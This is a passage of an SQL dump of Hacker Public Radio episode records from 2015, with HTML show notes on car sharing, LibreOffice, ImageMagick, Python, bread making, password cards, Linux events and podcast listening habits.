(1830,'2015-08-07','How Holland Works: GreenWheels',643,'A quick look at the Dutch short term car sharing service','<p>\r\nNo longer owning a car of our own, we use the car-sharing service GreenWheels, which for a subscription of €5 per month, we are allowed to rent any of the hundreds of cars confidentiality parked all around the Netherlands.\r\n</p>\r\n<h2>How it works</h2>\r\n<h3>Subscribe</h3>\r\n<p>\r\nOnce you subscribe you get mailed a credit card sized RFID card and a PIN code.</p>\r\n<h3>Booking</h3>\r\n<p>\r\nGo to the website and enter in your location using ZIP/postcode or town name. You specify the times range you want to use it for and then press find to list the available options. A Google Map will appear with the availability of the cars displayed green for available and red for booked. Pick the one you want, login and confirm.\r\n<p>\r\n<img width=\"90%\" src=\"https://hackerpublicradio.org/eps/hpr1830_booking.png\" alt=\"screen shot of website\">\r\n</p>\r\n<h3>Pickup</h3>\r\n<p>\r\nGo to the car location and then open the car by placing the RFID card next to the RFID reader located just above the steering wheel. The central locking will open the doors allowing you to get in.\r\n<p>\r\nTake the controller out of the glove compartment and enter your pin code to unlock the ignition system.\r\n<p>\r\nYou can confirm that there is no damage, or log any damage that has occurred. Take the regular key and use that to start the car.\r\n</p>\r\n<h3>Refueling</h3>\r\n<p>\r\nIf you need to refuel then go to any [gas|petrol] station and refuel. Make note of the current distance travelled on the Odometer, and take the fleet refuelling card from the glove compartment. Instead of paying yourself, the bill will be charged directly to GreenWheels. Return the refuelling card and receipt to the glove compartment.\r\n</p>\r\n<h3>Drive</h3>\r\n<p>Loads to see in the Netherlands.</p>\r\n\r\n<h3>Returning</h3>\r\n<p>\r\nWhen you are finished, return the car and after checking that you have all your stuff, answer yes to the question \"Have you returned to the start point ?\". Then leave and use the RFID card to lock the car.\r\n</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Greenwheels\">https://en.wikipedia.org/wiki/Greenwheels</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Radio-frequency_identification\">https://en.wikipedia.org/wiki/Radio-frequency_identification</a></li>\r\n</ul>\r\n',30,0,1,'CC-BY-SA','How Holland Works, GreenWheels, Environment, integrated transport, car sharing',0,0,1),
(1835,'2015-08-14','59 - LibreOffice Impress - Pictures',1396,'Using and formatting pictures, and creating a photo album','<p>\r\nAs we pointed out previously, Impress is inherently a graphical, and even multimedia, way of communicating. In fact, we saw in the previous tutorials that Impress and Draw share a common set of Styles that apply to both programs, and I have often seen in documentation that Impress and Draw are often mentioned in the same breath, so to speak. So it is important that we start developing an understanding of the graphical elements in Impress.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1217\">https://www.ahuka.com/?page_id=1217</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/wp-content/uploads/2015/07/Photo-Album.odp\">https://www.ahuka.com/wp-content/uploads/2015/07/Photo-Album.odp</a>\r\n</li>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1217\">https://www.ahuka.com/?page_id=1217</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations, Pictures, Photo Album',0,0,1),
(1822,'2015-07-28','Some tips on using ImageMagick',1231,'ImageMagick is an amazing toolkit for manipulating images. Here\'s how I use it','<h1 id=\"some-tips-on-using-imagemagick\">Some tips on using ImageMagick</h1>\r\n<p>I like to use images in HPR shows if I can. I have experimented with various ways of preparing them since I first started contributing, but I\'m particularly impressed with what I am able to do using <a href=\"https://www.imagemagick.org/script/index.php\" title=\"ImageMagick\">ImageMagick</a>.</p>\r\n<p>The <code>ImageMagick</code> system contains an enormous range of capabilities, enough for a whole series of shows. I thought I would talk about some of the features I use when preparing episodes to give you a flavour of what can be done.</p>\r\n<p>I\'m the rawest amateur when it comes to this kind of image manipulation. Just reading some of the ImageMagick documentation (see <a href=\"#Links\">links</a>) will show you what an enormous number of possibilities there are. I am only using a few in this episode.</p>\r\n<p>I have prepared longer show notes and demonstrated some scripts to explain how I process images. These can be found <a href=\"https://hackerpublicradio.org/eps/hpr1822_full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Full show notes: <a href=\"https://hackerpublicradio.org/eps/hpr1822_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1822_full_shownotes.html</a></li>\r\n<li>EXIF Wikipedia page: <a href=\"https://en.wikipedia.org/wiki/Exchangeable_image_file_format\" class=\"uri\">https://en.wikipedia.org/wiki/Exchangeable_image_file_format</a></li>\r\n<li>exiftool: <a href=\"https://www.sno.phy.queensu.ca/~phil/exiftool\" class=\"uri\">https://www.sno.phy.queensu.ca/~phil/exiftool</a></li>\r\n<li>Krita: <a href=\"https://krita.org/\" class=\"uri\">https://krita.org/</a></li>\r\n<li>ImageMagick:\r\n<ul>\r\n<li>Main site: <a href=\"https://www.imagemagick.org/script/index.php\" class=\"uri\">https://www.imagemagick.org/script/index.php</a></li>\r\n<li>Crop: <a href=\"https://www.imagemagick.org/Usage/crop/\" class=\"uri\">https://www.imagemagick.org/Usage/crop/</a></li>\r\n<li>Resize: <a href=\"https://www.imagemagick.org/Usage/resize/\" class=\"uri\">https://www.imagemagick.org/Usage/resize/</a></li>\r\n<li>Thumbnails: <a href=\"https://www.imagemagick.org/Usage/thumbnails/\" class=\"uri\">https://www.imagemagick.org/Usage/thumbnails/</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','images,ImageMagick,scripting,Krita',0,0,1),
(1845,'2015-08-28','60 - LibreOffice Impress - The Gallery and Themes',869,'LibreOffice Clip Art Gallery and Theme collections','<p>\r\nIn the last tutorial we looked at pictures and how they can be used in Impress. But I left out one area because the tutorial was already running a bit long, and I wanted to give the Gallery and Themes the full attention they deserve. I think this is something a lot of people have missed when working with Impress, at least I have not seen these elements includes much in peoples presentations. But they are a wonderful addition to your toolkit, and well-worth some attention.  Note that the Gallery is a common feature of all LibreOffice applications, and is available in applications like Writer and Calc, though there is less need for it there. It is when you get to applications like Impress and Draw that you really discover how useful it can be.\r\nFor more go to <a href=\"https://www.ahuka.com/?page_id=1222\">https://www.ahuka.com/?page_id=1222</a>\r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.ahuka.com/?page_id=1222\">https://www.ahuka.com/?page_id=1222</a>\r\n</li>\r\n</ul>',198,70,0,'CC-BY-SA','LibreOffice, Impress, Presentations, Clip Art, Gallery, Themes',0,0,1),
(1824,'2015-07-30','I\'m Learning Some Python',1920,'I discuss how I use Python and some of the cool modules and libraries that I\'ve found','<style type=\"text/css\">\r\ntd {vertical-align: top;}\r\n</style>\r\n\r\n<h2>I\'m Learning Some Python</h2>\r\n\r\n<p>Lately I\'m finally getting around to learning some Python. I wouldn\'t go as far as to say I\'m learning it properly&mdash;that\'s not really my way&mdash;I\'m kind of poking around in the dark learning things on an \"as-needed\" basis, but I\'m finding that it\'s incredibly powerful and making me much more efficient in my daily life. In this podcast I discuss some of my favorite ways of using it and some of the cool modules and libraries that I\'ve found that make things surprisingly easy in Python that used to be difficult for me in <code>bash</code>.</p>\r\n\r\n<h2>What I Use It For</h2>\r\n\r\n<ol type=\"1\">\r\n<li>Website build scripts, both for the School of Music and for my personal website. Converted from bash, tested and working fine on Windows and Mac.</li>\r\n<li>Text manipulation scripts, used in conjuction with blather. These do things like change text case, remove spaces, and so forth. </li>\r\n<li>Text entry. Voice commands insert various kinds of text templates or canned email responses for my classes. Also used in conjunction with blather.</li>\r\n<li>Adding or stripping HTML tags to/from selected text.</li>\r\n<li>Getting current weather conditions and forecasts, having results spoken back to me using system text-to-speech engine.</li>\r\n<li>Fun blather commands where I interact with my computer and have it talk back to me.</li>\r\n</ol>\r\n\r\n<h2>Favorite Python Modules/Libraries</h2>\r\n\r\n<table>\r\n	<tr><td><code>pyperclip</code></td><td>A cross-platform clipboard module for Python. (only handles plain text for now) <a href=\"https://pypi.python.org/pypi/pyperclip/1.5.11\">https://pypi.python.org/pypi/pyperclip/1.5.11</a></td></tr>\r\n	<tr><td><code>pyttsx</code></td><td>A Python package supporting common text-to-speech engines on Mac OS X, Windows, and Linux. <a href=\"https://pypi.python.org/pypi/pyttsx\">https://pypi.python.org/pypi/pyttsx</a></td></tr>\r\n	<tr><td><code>bs4</code></td><td>HTML parsing library. <a href=\"https://www.crummy.com/software/BeautifulSoup/bs4/doc/\">Beautiful Soup Documentation</a></td></tr>\r\n	<tr><td><code>htmlmin</code></td><td>A configurable HTML Minifier with safety features. <a href=\"https://pypi.python.org/pypi/htmlmin/\">https://pypi.python.org/pypi/htmlmin/</a></td></tr>\r\n	<tr><td><code>smartypants</code></td><td><a href=\"https://pypi.python.org/pypi/smartypants/1.8.3\">smartypants</a> is a Python fork of <a href=\"https://daringfireball.net/projects/smartypants/\">SmartyPants</a>, which easily translates &quot;plain&quot; ASCII punctuation characters into &ldquo;smart&rdquo; typographic punctuation HTML entities.</td></tr>\r\n	<tr><td><code>titlecase</code></td><td>Changes all words to Title Caps, and attempts to be clever about SMALL words like a/an/the in the input. <a href=\"https://pypi.python.org/pypi/titlecase\">https://pypi.python.org/pypi/titlecase</a></td></tr>\r\n	<tr><td><code>swnamer</code></td><td>A name generator that uses Star Wars characters, species and planets to create un fisique names. <a href=\"https://pypi.python.org/pypi/swnamer/0.1.0\">https://pypi.python.org/pypi/swnamer/0.1.0</a></td></tr>\r\n</table>\r\n\r\n\r\n<h2>Demo Screencasts</h2>\r\n\r\n<ul>\r\n\r\n<li>Blather + Python: Insert Text from Predefined Nested Lists Using Voice Commands: <a href=\"https://www.youtube.com/watch?v=6futHS4JLsU\">https://www.youtube.com/watch?v=6futHS4JLsU</a></li>\r\n\r\n<li>Blather: \"too much coffee?\" python script: <a href=\"https://www.youtube.com/watch?v=GTDMi1zF76c\">https://www.youtube.com/watch?v=GTDMi1zF76c</a></li>\r\n</ul>\r\n',238,0,1,'CC-BY-SA','python, scripting, programming',0,0,1),
(1829,'2015-08-06','My \"New\" Used Kindle DX',836,'I talk about my latest gadget, a used Kindle DX','<p>I talk about my latest gadget, a used Kindle DX, which is a discontinued model with a 9.7 inch epaper screen. I talk about its features, limitations, how to navigate it, and I demonstrate its text-to-speech capabilities. Incidentally I really low-balled the original price of the Kindle DX. Looking around a little bit, I find that the original retail price was $479, which was then reduced to just under $400. Mine now seems like a bargain at $128 used. </p>\r\n\r\n<p><img src=\"https://cdn.slashgear.com/wp-content/uploads/2010/07/Kindle-DX-graphite-2-Hands-469x500.jpg\" alt=\"Kindle DX\"></p>\r\n',238,0,0,'CC-BY-SA','ebooks, ereaders, kindle, gadgets, reviews',0,0,1),
(1827,'2015-08-04','How I make bread',1112,'I\'ve been making my own bread for nearly 40 years, and I thought I\'d share my methods','<p>Ken Fallon was asking for bread-making advice on a recent <em>Community News</em> recording. I\'ve been making my own bread since the 1970\'s and I thought I\'d share my methods in response. <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\">Frank Bell</a> also did an excellent <a href=\"https://hackerpublicradio.org/eps.php?id=1327\">bread-making episode</a> in 2013.</p>\r\n<p>I have prepared a long description of my bread-making process, with photographs and a recipe, and this is all available here: <a href=\"https://hackerpublicradio.org/eps/hpr1827/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1827/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Full notes: <a href=\"https://hackerpublicradio.org/eps/hpr1827/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1827/full_shownotes.html</a></li>\r\n<li>Frank Bell\'s HPR episode on bread making: <a href=\"https://hackerpublicradio.org/eps.php?id=1327\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1327</a></li>\r\n<li>Kenwood Chef: <a href=\"https://en.wikipedia.org/wiki/Kenwood_Chef\" class=\"uri\">https://en.wikipedia.org/wiki/Kenwood_Chef</a></li>\r\n<li>Panasonic SD255: <a href=\"https://www.chrisrand.com/panasonic-SD255-breadmaker-bread-maker/\" class=\"uri\">https://www.chrisrand.com/panasonic-SD255-breadmaker-bread-maker/</a></li>\r\n<li>Wholemeal bread recipe: <a href=\"https://hackerpublicradio.org/eps/hpr1827/Wholemeal_Bread_Recipe.pdf\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1827/Wholemeal_Bread_Recipe.pdf</a></li>\r\n</ul>',225,93,1,'CC-BY-SA','cooking,bread,yeast,baking,loaves,dough,gluten',0,0,1),
(1828,'2015-08-05','Multimeter Mod\'s Part 1',1162,'NYbill modifies his multimeter to add features he feels are lacking.','<p>\r\nNYbill talks about modifying his UNI-T UT61E multimeter to add two features he finds lacking. \r\n</p>\r\n<p>\r\nIn part one an LED back light gets installed for the LCD screen.  Part two will cover the second mod, a auto-time out feature to save the units battery. \r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<ul>\r\n<li>The UNI-T UT61E: <a href=\"https://tinyurl.com/ofz8hrk\">https://tinyurl.com/ofz8hrk</a>\r\n</li>\r\n<li>Pictures for the episode: <a href=\"https://media.gunmonkeynet.net/u/nybill/collection/multimeter-mod-s-part-one/\">https://media.gunmonkeynet.net/u/nybill/collection/multimeter-mod-s-part-one/</a>\r\n<p></p>\r\n</li>\r\n</ul>',235,103,0,'CC-BY-SA','multimeter,back light,LED,hardware hack',0,0,1),
(1836,'2015-08-17','The Statusnet Shuffle',2711,'Theru and NYbill talk about moving a Statusnet instance and converting it to GNU-Social','<p>\r\nTheru and NYbill talk about moving a Statusnet instance to a new server.  Also, upgrading an existing Statusnet instance to GNU-social.\r\n</p>\r\n\r\n<ul>\r\n<li>Theru\'s blog post: <a href=\"https://blog.theru.org/how-i-move-my-status-net-server-and-upgrade-it-to-gnu-social/\">https://blog.theru.org/how-i-move-my-status-net-server-and-upgrade-it-to-gnu-social/</a>\r\n</li>\r\n<li>Windigo\'s blog post on running SN/GS with nginx:\r\n<a href=\"https://fragdev.com/blog/gnusocial-on-nginx-with-php-fpm\">https://fragdev.com/blog/gnusocial-on-nginx-with-php-fpm</a>\r\n</li>\r\n</ul>',235,0,0,'CC-BY-SA','StatusNet,GNU social',0,0,1),
(1834,'2015-08-13','Password Cards',500,'How to hide a password using a password card','<h2>How to Hide a Password Using a Password Card</h2>\r\n\r\n<p>It\'s okay to write your password down and keep it in your wallet, but it\'s best to try to hide it as well. Here\'s how to keep your password secure and handy at the same time by embedding it in a password card.</p>\r\n\r\n<h3>Method 1</h3>\r\n\r\n<p>Generate a fancy symbol-and-color-coded password card at passwordcard.org: <a href=\"https://www.passwordcard.org/en\">https://www.passwordcard.org/en</a>. Follow the directions there on how to use it best.</p>\r\n\r\n<h3>Method 2</h3>\r\n<p>Make your own. Use the password generation package <code>pwgen</code> on Linux to generate a whole bunch of random passwords. In the following example, the <code>-s</code> flag tells it you want secure passwords that are generated randomly, not suitable for human memory. The <code>-y</code> flag tells it to include special characters, and <code>24</code> indicates how many characters each password should contain.</p>\r\n\r\n<pre>\r\npwgen -sy 24\r\n</pre>\r\n\r\n<p>Then either use one of the passwords that was generated from this command or embed your own existing password somewhere inside the giant block of gibberish such that only you will know where your password begins and ends. You can put a copy of this in your wallet. </p>\r\n\r\n<pre>\r\n4b$0&lt;k=#;?MJ^K:Uw\\6zmP5s<br/>Y;4T3G+jUwJ!R+DT{2=6-^$&quot;<br/>!]&quot;&quot;YmR%x.2uG&quot;MGhm)TLyJA<br/>}L)xpxG\\1n&quot;\\]bC#+/t&lt;a1*@<br/>\'3^B`&amp;mSHP@2p1s0;.Rrz_8k<br/>skXLD!YAq|Ic!Y9(?DZKD:Oq<br/>;#/)sCz7PEbly7&gt;/W|KlbveO<br/>a0}amC@^{+aKhnHMgc$qq$XX<br/>A#!o2FhIkD1Fu(K?nE!Szru4<br/>iDAw2=MIa~KE)q\'C&gt;S|`A*q.<br/>Y=g\'_0i{BOXr8O4N11f8&amp;yRf<br/>~+r^kB%#4o;zs:HWA/a\'4U#`<br/>3&quot;:6E$PQ:y%D=^ENM5;!q^n4<br/>i&quot;n~oy&quot;4KT/XYY2IV_A%3Sg\\<br/>/evf,L5NSX$2-5b;OvZuhN$_<br/>ds4ZD.t/!0yqcey.1?%P\'M!u<br/>\'GDS-jBN+\'NB}cr7~Wy=;JSE<br/>aI&amp;7Byy$79Yf#gU|&gt;@x_3IY2<br/>-jyziY2pZ5M*#iL?9p+^F%PO<br/>QUj&amp;|HVDw2#x+t`1&amp;zW&quot;\'Rp{<br/>\r\n</pre>\r\n\r\n<p>If you want extra security make two columns or increase the character count.</p>\r\n\r\n<pre>\r\nra;aH5v&quot;}2lF()\\;K0f-G;YT 3XGq&gt;wQ6&quot;)UvSU#NpYfr,M(h<br/>PCgM%L)O[mra3vgsX{&quot;0rV&quot;0 7&gt;qSluuegS&lt;#;V-nI&quot;uyc$bX<br/>JE+4MxT/[t&amp;i0\\(ndpE(z\\%@ }ZS\\3&lt;xdG1]G%wf9;k6*_94%<br/>FFZ}gR9hyZ=EsC6QgMz:n$=U h&amp;-O+Wz7L8LmehF&amp;znhF8#Ig<br/>p`4C3PN^1F&quot;AmlQe=[pkz&lt;EM /,FOfQtR|&quot;c8EzN8ug?i359=<br/>a%i;X3~g0SqbKM|]#{hReCmP }.#EOVPxCX)b!r_&gt;o@V9J_^9<br/>H-&lt;FAQ4I]SPlX!$o#I?~2ACy -&lt;JE82-\'YV@bl;O_&gt;(nxPgVH<br/>PNHYp2_[-q9G?$Z:m?yZiAH. Xj(mZ0,7EabI-TL4-7RWK]n9<br/>HCmiaZV{8EHREpS5Ppi_^SCl DTzK!CkZ#.c&lt;3I;#}A#D(n$c<br/>&lt;koQz[`F99&quot;{/vB~GcSt@n,* :J&amp;*}n~.#F%{ErSs7j:}eyly<br/>=!F:m65sA5utY,&lt;AU\\8~Omz2 @P&quot;*SIR/\\Ln0H;1JjM7P&quot;{[0<br/>8hk%p-)_3(P&gt;;p.ROtRevNX_ BbwP00-Vq-5:38O.Z9MGom-n<br/>9,txEI%j+\'7=7T@?X7^j^*`U ;!R&lt;$|r3(QuJmsZe6}C(7%&amp;s<br/>X]`(;_6S@@&lt;}Ia[&amp;fZ3*naG7 fij5f)Mkp;EDO.CP&quot;&quot;*~8{-^<br/>S2_\'(C8Fn&amp;[%nJ%`S3&amp;r.N2&lt; *$o\\Nrl*vJ0;zq7G3}wtMd0h<br/>%is{8%\'^[b$Cu;a5_RYpy]LM k-=7(&lt;\\uQ|hQH-m9.WYq6tx+<br/>Vmb&amp;c!$.@P&gt;\\`1;1@ln(B#GY eQu\\~&quot;L\'*xX%_)CTl*}8#2oD<br/>=6I\'&gt;(_nIsu=D2J{l4a4tf5x 3/7J1Rm.G.Hwo=Xm=Lv&quot;o}jF<br/>RYV/lC1|t&amp;;!]@4#2r-h&lt;88/ o[B[qZq@;=/MD8hX|nnZ-0$j<br/>5k`x|:.0G{sra@WiuhHr^aU&gt; Dy@Df^op.WCT)3jD(|T,I7E&quot;<br/>\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Generate a fancy color-coded password card at passwordcard.org: <a href=\"https://www.passwordcard.org/en\">https://www.passwordcard.org/en</a>\r\n	</li>\r\n	<li><a href=\"https://keepass.info/\">KeePass Password Safe</a></li>\r\n</ul>\r\n',238,74,0,'CC-BY-SA','Privacy, security, passwords',0,0,1),
(1818,'2015-07-22','Review of HPR\'s Interview Recorder: Zoom H1',1578,'HPR has a digital recorder. You are welcome to use it for interviews at your next tech event.','<p>\r\nThe Hacker Public Radio network owns a Zoom H1 digital voice recorder.  If you are going to attend an open source event and think you would like to record interviews for Hacker Public Radio, make inquires to the mailing list and the correspondent with the recorder in their possession (currently FiftyOneFifty) will send it to you.  This episode is a review of the devices features and how to use them.\r\n</p>\r\n<p>\r\nManufacturer page: <a href=\"https://www.zoom-na.com/products/field-video-recording/field-recording/zoom-h1-handy-recorder\">https://www.zoom-na.com/products/field-video-recording/field-recording/zoom-h1-handy-recorder</a>\r\n</p>\r\n<p>\r\nHow to use the H1 as an USB Mic <a href=\"https://www.youtube.com/watch?v=GG8hZ6PvfrQ\">https://www.youtube.com/watch?v=GG8hZ6PvfrQ</a>\r\n</p>',131,78,0,'CC-BY-SA','Zoom H1, microphone, recording, review, DVR, digital voice recorder, tutorial, getting started, guide, howto, HPR',0,0,1),
(1820,'2015-07-24','Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 1 of 2',1248,'Interview Alex Juarez Rackspace Principal Engineer','<p>\r\nFrom the LAMP Stack break-fix competition, to the breakfast buffet they funded on Sunday, the Rackspace crew presented their organization as the managed hosting company that puts the customer first, by making sure no customer has to wait in a long queue before taking to a human, and to staying on the line as long as it takes to make sure all problems are solved and all questions are answered.  This kind of commitment to service naturally requires are larger number of people working tech support, and by the end of the weekend I think it was clear to everyone Rackspace was in Kansas to recruit.  I was impressed when one of the Rackspace representatives told me, \"We can teach people tech.  We can\'t teach people to want to help other people\".  Rackspace dedicates a significant part of employee time to training and improving the skills of their help desk staff.  If there is a drawback it\'s that when one shift is training, the other two are expected to pull extra hours to cover the third shift.\r\n</p>',131,78,0,'CC-BY-SA','interview,Kansas Linux Fest,Rackspace',0,0,1),
(1823,'2015-07-29','Kansas Linux Fest 2015, March 21-22, Lawrence KS, Interview 2 of 2',1689,'Interview: Ryan Sipes, Organizer, Administrator, Coder, Innovator, Raconteur','<p>\r\nRyan Sipes: KLF Organizer; Systems Administrator, Northeast Kansas Library System; Organizer of Lawrence (KS) Linux User Group; with Ikey Doherty, Ryan is a developer for Solus (formerly Evolve OS); a contributor to Vulcan text editor, written in Vala (Ryan\'s KLF talk, \"How to Write a GTK/Gnome Application\", was pretty much a tutorial in Vala)\r\n</p>\r\n<p>\r\nRyan\'s projects and employer \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.KansasLinuxFest.us\">https://www.KansasLinuxFest.us</a>\r\n</li>\r\n<li><a href=\"https://www.meetup.com/Lawrence-Linux-User-Group/\">https://www.meetup.com/Lawrence-Linux-User-Group/</a>\r\n</li>\r\n<li><a href=\"https://nekls.org/\">https://nekls.org/</a>\r\n</li>\r\n<li><a href=\"https://evolve-os.com/\">https://evolve-os.com/</a>\r\n</li>\r\n<li><a href=\"https://github.com/zesterer/vulcan\">https://github.com/zesterer/vulcan</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nKLF related interviews with Ryan Sipes \r\n</p>\r\n\r\n<ul>\r\n<li>Linux Unplugged <a href=\"https://www.jupiterbroadcasting.com/79412/give-the-kids-linux-lup-85/\">https://www.jupiterbroadcasting.com/79412/give-the-kids-linux-lup-85/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nEvolve OS related interviews \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.jupiterbroadcasting.com/79692/evolve-your-os-lup-86/\">https://www.jupiterbroadcasting.com/79692/evolve-your-os-lup-86/</a>\r\n</li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Jc4g3iE5u-8\">https://www.youtube.com/watch?v=Jc4g3iE5u-8</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nKLF sponsors: \r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://Rackspace.com\">https://Rackspace.com</a>\r\n</li>\r\n<li><a href=\"https://Caltesting.org\">https://Caltesting.org</a>\r\n</li>\r\n<li><a href=\"https://www.lawrence.lib.ks.us/\">https://www.lawrence.lib.ks.us/</a>\r\n</li>\r\n<li><a href=\"https://www.lawrencefreenet.org/index.php\">https://www.lawrencefreenet.org/index.php</a>\r\n</li>\r\n<li>Lawrence Center for Entrepeneurship <a href=\"https://www.Larryville.com\">https://www.Larryville.com</a>\r\n</li>\r\n<li>Free/Libre Open Source and Open Knowledge Association of Kansas <a href=\"https://openkansas.us\">https://openkansas.us</a>\r\n</li>\r\n<li><a href=\"https://www.onitechnology.com\">https://www.onitechnology.com</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThe beers: \r\n</p>\r\n\r\n<ul>\r\n<li>In an effort to reduce the inventory of loneley beers waiting in my refridgerator for review, I\'ve decided to add beer reviews to each of my tech episodes (hey, nobody complained when Dmitri did it).\r\n</li>\r\n<li><a href=\"https://www.boulevard.com/BoulevardBeers/irish-ale/\">https://www.boulevard.com/BoulevardBeers/irish-ale/</a>\r\n</li>\r\n<li><a href=\"https://travelerbeer.com/illusive-traveler/\">https://travelerbeer.com/illusive-traveler/</a>\r\n</li>\r\n</ul>',131,78,0,'CC-BY-SA','interview,Kansas Linux Fest,Solus,Vala',0,0,1),
(1831,'2015-08-10','Are speed listening and slow background music compatible?',412,'is there room for background music in podcasts for speed listeners?','<p>\r\nThis is A Shadowy Figure speaking to you from southwest Florida on Hacker Public Radio,\r\n</p>\r\n<p>\r\nBrought to you by An Honest Host Dot Com  where you can Get a 15% discount on all shared hosting with the offer code  HPR15 thats H P R one five. Better webhosting that honest and fair at An Honest Host Dot Com.\r\n</p>\r\n<p>\r\nNot only do I mention An Honest Host Dot Com out of commitment, but also out of respect. I\'ve listened to the interview by Ken Fallon of the man behind An Honest Host Dot Com Josh Knapp not long ago, and came away with a certain amount of appreciation for what Josh does. Which is basically keeping Hacker Public radio alive, along with the many other things he does. Thanks Josh, your generosity does not go unnoticed.\r\n</p>\r\n<p>\r\nI\'ve been listening to HPR for about a year now and just recently purchased a Blue Yeti Microphone off of Ebay which turned out to be misrepresented and not in the condition it was claimed. As a side note, the day I received the Blue Yeti in the mail, I found the same microphone brand spanking new on Amazon.com for the same price as the used one I purchased on ebay. At one time I would have been disappointed by such a situation, but if theres anything I\'ve learned from experience,  no matter how hard you punch the wall, the train still left at 4 o\'clock  \r\nIf I were to devote an emotion to every real or perceived injustice I come across, I wouldn\'t have time to devote any emotions to the things enjoy.\r\n</p>\r\n<p>\r\nAnyway, My computing background goes all the way back to the original TRS-80.\r\nThe experience of writing basic for 4 hours to create a pathetic facsimile of the game pong turned me away from computing until the graphical user interface of windows 3.11 came along.\r\nI was alright with the direction of where computing was moving along once windows matured, but I never had any love for microsoft products, Mac\'s were prettier, but a lot more expensive, and had great hardware to boot, but I never caught the mac addiction either. \r\n</p>\r\n<p>\r\nSlackware caught my interest, but wasn\'t ready for prime time, and red hat was a bit more complicated than I was comfortable with in the mid 90\'s\r\n</p>\r\n<p>\r\nsince 2006 I\'ve been using debian based operating systems exclusively, but still keep a macbook pro and a windows 8.1 laptop nearby for specific tasks I don\'t want to taint my linux box with.\r\n</p>\r\n<p>\r\nKDE plasma has been my desktop of choice since 2010, and I don\'t use google, facebook, twitter, or any other corporate tracking devices. Including cell phones.\r\nSmoke signals and email are about the best way to get a hold of me, and smoke signals have been notoriously ineffective in the past.\r\n</p>\r\n<p>\r\nMoving alone,\r\n</p>\r\n<p>\r\nMy day job includes leadership training, which was a big step up from my old job in one of the most reviled professions known to man, yes that\'s right, I used to be a used car salesman, (you thought I was going to say lawyer didn\'t ya?)  no, but I date a lawyer, but I try to keep that a secret. \r\n</p>\r\n<p>\r\nSo now that I\'ve tainted my reputation for good with the hacker public radio audience, I may as well plow forward and see what other damage to my reputation I can do. You can think of my handle A Shadowy Figure as damage control for all the stupid things I end up doing by mistake. (like buying things of ebay).\r\n</p>\r\n<p>\r\nAnyway, I thought I\'d share with the HPR audience my experience as a listener, and what I feel I can do to contribute. I love the mission statement behind HPR, and feel the need to do my part to see to it HPR continues to offer something of value to the hacker community.\r\n</p>\r\n<p>\r\nLike many listeners and contributers to HPR, I listen to dozens of podcasts each week. Many of which belong in their spot of most downloaded podcasts, but I find a certain amount of charm in the grass roots nature of HPR.\r\n</p>\r\n<p>\r\nMuch like the Norwegian trend of engaging in slow media content. As mentioned in a recent hpr episode, I actually found myself hypnotically engaged in 5150\'s whats in my pickup toolbox episode.\r\nI found myelf cheering on 5150 to come up with a pair of lugnuts to an unknown vehicle.\r\n</p>\r\n<p>\r\nI was looking for solidarity there, being as for some reason, my prior toolboxes always seemed to have a couple of unknown parts, or even  broken tools that should have been thrown out years ago, \r\nlike 5150\'s wire strippers.\r\n</p>\r\n<p>\r\nI have to admit, Ken Fallons Amazing life hack episode of how to tell your left earbud from your right, lived up to its claim of setting a low bar. Ken has given some terrific episodes in the past, but this one fell a bit short of his standard of excellence. But I must admit, his goal was achieved.\r\nAs I listened,  I said to myself, even I can top that! And thus, Ken inspired me to step over that low bar of quality he set, and record my own episode.\r\n</p>\r\n<p>\r\nAfter reading up on the procedures for contributing a show, I came across the advice to not use bedding or background music, due to the diverse listening style of many HPR listeners.\r\n</p>\r\n<p>\r\nOne of those listening styles Im vaguely familiar with was listening to podcasts speeded up.\r\nSomewhere I read about some people really really speeding up their recordings to the point most people can only hear a rapid fire series of blips and clicks. \r\nI don\'t know if that is typical, but I\'m inclined to think that is something found on the fring, and that most speed listeners fall in the range of 2 to 3 times normal rate.\r\n</p>\r\n<p>\r\nI\'m also aware of a trend of some people to listen to music slowed down to the point of being one long drone that changes pitch every now and then.\r\n</p>\r\n<p>\r\nPerhaps in the future, depending on what sort of feedback I receive, I\'d like to experiment with combining the two.\r\n</p>\r\n<p>\r\nBasically, recording Normally recorded vocal content, with an ultra slow music soundtrack that would balance out with speed listening.\r\nIn essence, hacking the audio, to provide speed listeners with a soundtrack.\r\n</p>\r\n<p>\r\nOn the flip side, one could hack the audio to appeal to slow listeners, speeding up the soundtrack, and changing the pitch of the vocals to account for slow listening.\r\nBut that would probably kill some speed listeners with weak hearts, so I\'ll steer away from that unless there is enough demand to justify that.\r\n</p>\r\n<p>\r\nIt seems like a concept that\'s destined to fail, but it\'s something I was pondering and would try if there were an audience for it.\r\n</p>\r\n<p>\r\nIf there were any interest, 